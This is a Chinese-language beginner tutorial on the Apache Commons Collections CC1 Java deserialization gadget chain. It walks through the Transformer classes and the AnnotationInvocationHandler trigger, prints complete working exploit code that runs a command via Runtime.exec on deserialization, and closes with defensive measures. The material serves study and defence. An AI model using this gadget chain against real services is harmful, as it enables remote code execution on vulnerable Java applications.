JAVA安全--cc1学习(新手可阅)
字数 1638 2025-08-22 12:23:41
Apache Commons Collections CC1链分析与利用
前言
Apache Commons Collections是一个由Apache软件基金会提供的开源Java库,它为Java标准集合API提供了丰富的扩展和补充。在Java安全领域中,CC链(Commons Collections链)是必须学习的内容,本文详细分析CC1链的构造原理和利用方式。
环境准备
- Commons Collections版本:<= 3.2.1
- JDK版本:< 8u71(推荐使用8u66)
Maven依赖配置:
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
关键组件分析
Transformer接口
漏洞的起点是Transformer接口,它定义了一个transform抽象方法。我们需要关注几个实现了该接口的关键类:
1. ConstantTransformer
构造方法:
- 将传入对象赋予给成员属性
iConstant
transform方法:
- 直接返回
iConstant的值,忽略传入参数
2. ChainedTransformer
构造方法:
- 传入一个
Transformer类型数组,赋值给成员属性iTransformers
transform方法:
- 遍历
Transformer数组 - 将前一个
transform方法的返回值作为下一个transform方法的输入参数 - 循环执行直到数组遍历完成
3. InvokerTransformer
构造方法:
- 传入三个参数:
iMethodName:方法名iParamTypes:参数类型数组iArgs:参数值数组
transform方法:
- 通过反射获取传入对象的类
- 获取指定方法(由
iMethodName控制) - 使用指定参数类型(由
iParamTypes控制) - 执行方法并传入参数(由
iArgs控制)
命令执行构造
利用上述三个类可以构造命令执行链:
import org.apache.commons.collections.functors.InvokerTransformer;
public class test1 {
public static void main(String[] args) {
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
.transform(Runtime.getRuntime());
}
}
等效的反射代码:
import java.lang.reflect.*;
public class test {
public static void main(String[] args) throws Exception {
Runtime runtime = Runtime.getRuntime();
Class<? extends Runtime> aClass = runtime.getClass();
Method exec = aClass.getMethod("exec", String.class);
exec.invoke(runtime,"calc");
}
}
完整链构造
构造完整的Transformer链:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // 获取Runtime类
new InvokerTransformer("getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}), // 获取getRuntime方法
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}), // 调用getRuntime()
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"}) // 执行calc命令
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
执行流程:
- 获取Runtime字节码
- 获取getRuntime方法
- 调用getRuntime()获取Runtime实例
- 执行exec("calc")命令
触发点分析
TransformedMap
TransformedMap的构造方法是private的,但可以通过decorate方法创建实例:
Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer)
checkSetValue方法会调用传入的Transformer的transform方法。
AnnotationInvocationHandler
AnnotationInvocationHandler实现了Serializable接口,是反序列化的入口点。其readObject方法会调用setValue,进而触发checkSetValue。
关键点:
- 构造方法第一个参数
type需要设置为Target.class - Map中的key需要设置为"value"以绕过检查
完整利用代码
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class cctest {
public static void serialize(Object obj) throws IOException {
FileOutputStream fos = new FileOutputStream("cc1.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(obj);
}
public static void deserialize(String filename) throws IOException, ClassNotFoundException {
FileInputStream fis = new FileInputStream(filename);
ObjectInputStream ois = new ObjectInputStream(fis);
ois.readObject();
}
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("value","1");
Map<Object, Object> decorate = TransformedMap.decorate(map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, decorate);
serialize(o);
deserialize("cc1.bin");
}
}
利用链总结
- 反序列化
AnnotationInvocationHandler对象 - 触发
readObject方法 - 调用
TransformedMap的setValue方法 - 触发
checkSetValue方法 - 调用
ChainedTransformer的transform方法 - 依次执行
ConstantTransformer和InvokerTransformer链 - 最终通过反射执行命令
注意事项
- JDK版本必须低于8u71,高版本有修复
AnnotationInvocationHandler是sun包下的类,不同JDK实现可能不同- 构造Map时需要设置key为"value"以绕过检查
防御措施
- 升级Commons Collections到安全版本
- 升级JDK到8u71及以上版本
- 对反序列化操作进行严格管控
- 使用安全管理器限制危险操作